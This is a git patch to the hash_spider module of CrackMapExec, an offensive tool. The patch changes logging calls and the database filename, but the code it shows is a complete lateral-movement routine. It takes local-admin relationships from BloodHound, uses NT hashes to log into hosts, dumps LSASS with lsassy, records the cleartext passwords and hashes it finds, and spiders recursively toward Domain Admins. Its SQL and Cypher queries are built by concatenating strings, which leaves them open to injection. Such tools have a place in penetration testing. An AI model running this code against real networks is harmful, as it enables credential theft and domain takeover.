From c7cc04e546441c5e183d755496d2de20483bd63d Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 4 Apr 2023 23:16:54 -0400 Subject: [PATCH] fix(hash_spider): update logging methods and update output DB file name --- cme/modules/hash_spider.py | 93 +++++++++++++++++++++----------------- 1 file changed, 52 insertions(+), 41 deletions(-) diff --git a/cme/modules/hash_spider.py b/cme/modules/hash_spider.py index 2327f170..4632801c 100644 --- a/cme/modules/hash_spider.py +++ b/cme/modules/hash_spider.py @@ -1,9 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- - -# Author: -# Peter Gormington @hackerm00n on Twitter - +# Author: Peter Gormington (@hackerm00n on Twitter) import logging from sqlite3 import connect from sys import exit @@ -22,21 +19,21 @@ reported_da = [] def neo4j_conn(context, connection, driver): if connection.config.get('BloodHound', 'bh_enabled') != "False": - context.log.info("Connecting to Neo4j/Bloodhound.") + context.log.display("Connecting to Neo4j/Bloodhound.") try: session = driver.session() list(session.run("MATCH (g:Group) return g LIMIT 1")) - context.log.info("Connection Successful!") + context.log.display("Connection Successful!") except AuthError as e: - context.log.error("Invalid credentials.") + context.log.fail("Invalid credentials") except ServiceUnavailable as e: - context.log.error("Could not connect to neo4j database.") + context.log.fail("Could not connect to neo4j database") except Exception as e: - context.log.error("Error querying domain admins") - print(e) + context.log.fail("Error querying domain admins") + context.log.debug(e) else: context.log.highlight("BloodHound not marked enabled. Check cme.conf") - exit() + exit(1) def neo4j_local_admins(context, driver): @@ -45,9 +42,9 @@ def neo4j_local_admins(context, driver): session = driver.session() admins = session.run( "MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts - context.log.info("Admins and PCs obtained.") + context.log.success("Admins and PCs obtained.") except Exception: - context.log.error("Could not pull admins.") + context.log.fail("Could not pull admins") exit() admin_results = [record for record in admins.data()] @@ -84,24 +81,25 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d context.log.highlight( f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password]) - username = (f"{username.upper()}@{context.log.extra['host'].upper()}") + username = f"{username.upper()}@{context.log.extra['host'].upper()}" dbconnection.commit() session = driver.session() session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash == '31d6cfe0d16ae931b73c59d7e0c089c0': - context.log.error(f"Hash for {username} is expired.") + context.log.fail(f"Hash for {username} is expired.") elif username not in found_users and nthash is not None: context.log.highlight( f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") found_users.append(username) cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash]) dbconnection.commit() - username = (f"{username.upper()}@{context.log.extra['host'].upper()}") + username = f"{username.upper()}@{context.log.extra['host'].upper()}" session = driver.session() session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') path_to_da = session.run( "MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") paths = [record for record in path_to_da.data()] + for path in paths: if path: for key, value in path.items(): @@ -122,12 +120,19 @@ def initial_run(connection, cursor): class CMEModule: - name = 'hash_spider' + name = "hash_spider" description = "Dump lsass recursively from a given hash using BH to find local admins" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.reset = None + self.reset_dumped = None + self.method = None + def options(self, context, module_options): """ METHOD Method to use to dump lsass.exe with lsassy @@ -140,9 +145,9 @@ class CMEModule: self.reset_dumped = module_options.get('RESET_DUMPED', False) self.reset = module_options.get('RESET', False) - def run_lsassy(self, context, connection): # copied and pasted from lsassy_dumper + def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor # lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown - # lsassy also removes all other handlers and overwrites the formatter which is terrible + # lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours) # so what we do is define "success" as a logging level, then do nothing with the output logging.addLevelName(25, 'SUCCESS') setattr(logging, 'success', lambda message, *args: ()) @@ -165,16 +170,16 @@ class CMEModule: domain=domain_name ) if session.smb_session is None: - context.log.error("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") - cursor.execute("UPDATE admin_users SET hash = NULL WHERE username LIKE '" + username + "'") + context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") + cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: - context.log.error("Unable to load dump method '{}'".format(self.method)) + context.log.fail("Unable to load dump method '{}'".format(self.method)) return False file = dumper.dump() if file is None: - context.log.error("Unable to dump lsass") + context.log.fail("Unable to dump lsass") return False credentials, tickets, masterkeys = Parser(file).parse() file.close() @@ -203,61 +208,67 @@ class CMEModule: cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") more_to_dump = cursor.fetchall() if len(more_to_dump) > 0: - context.log.info(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") + context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") connection.domain = user[0].split('@')[1] setattr(connection, "host", pc[0].split('.')[0]) setattr(connection, "username", user[0].split('@')[0]) setattr(connection, "nthash", user[1]) setattr(connection, "nthash", user[1]) try: - self.run_lsassy(context, connection) + self.run_lsassy(context, connection, cursor) cursor.execute( "UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") process_creds(context, connection, credentials_data, dbconnection, cursor, driver) self.spider_pcs(context, connection, cursor, dbconnection, driver) except Exception: - context.log.error(f"Failed to dump lsassy on {pc[0]}") + context.log.fail(f"Failed to dump lsassy on {pc[0]}") if len(admin_access) > 0: - context.log.error( + context.log.fail( "No more local admin access known. Please try re-running Bloodhound with newly found accounts.") exit() def on_admin_login(self, context, connection): db_path = connection.config.get('CME', 'workspace') - dbconnection = connect(db_path, check_same_thread=False, - isolation_level=None) # Sqlite DB will be saved at ./CrackMapExec/default if name in cme.conf is default + # DB will be saved at ./CrackMapExec/hash_spider_default.sqlite3 if workspace in cme.conf is "default" + db_name = f"hash_spider_{db_path}.sqlite3" + dbconnection = connect( + db_name, + check_same_thread=False, + isolation_level=None + ) + cursor = dbconnection.cursor() - if self.reset != False: + if self.reset: try: cursor.execute("DROP TABLE IF EXISTS admin_users;") cursor.execute("DROP TABLE IF EXISTS pc_and_admins;") - context.log.info("Database reseted") + context.log.display("Database reset") exit() except Exception as e: - context.log.error("Database reset error", str(e)) - exit + context.log.fail("Database reset error", str(e)) + exit() if self.reset_dumped: try: cursor.execute("UPDATE pc_and_admins SET dumped = 'False'") - context.log.info("PCs can be dumped again.") + context.log.display("PCs can be dumped again.") except Exception as e: - context.log.error("Database update error", str(e)) - exit + context.log.fail("Database update error", str(e)) + exit() neo4j_user = connection.config.get('BloodHound', 'bh_user') neo4j_pass = connection.config.get('BloodHound', 'bh_pass') neo4j_uri = connection.config.get('BloodHound', 'bh_uri') neo4j_port = connection.config.get('BloodHound', 'bh_port') - neo4j_db = "bolt://" + neo4j_uri + ":" + neo4j_port + neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}" driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False) neo4j_conn(context, connection, driver) neo4j_local_admins(context, driver) create_db(admin_results, dbconnection, cursor) initial_run(connection, cursor) - context.log.info("Running lsassy.") - self.run_lsassy(context, connection) + context.log.display("Running lsassy") + self.run_lsassy(context, connection, cursor) process_creds(context, connection, credentials_data, dbconnection, cursor, driver) - context.log.info("🕷️ Starting to spider. 🕷️") + context.log.display("🕷️ Starting to spider 🕷️") self.spider_pcs(context, connection, cursor, dbconnection, driver)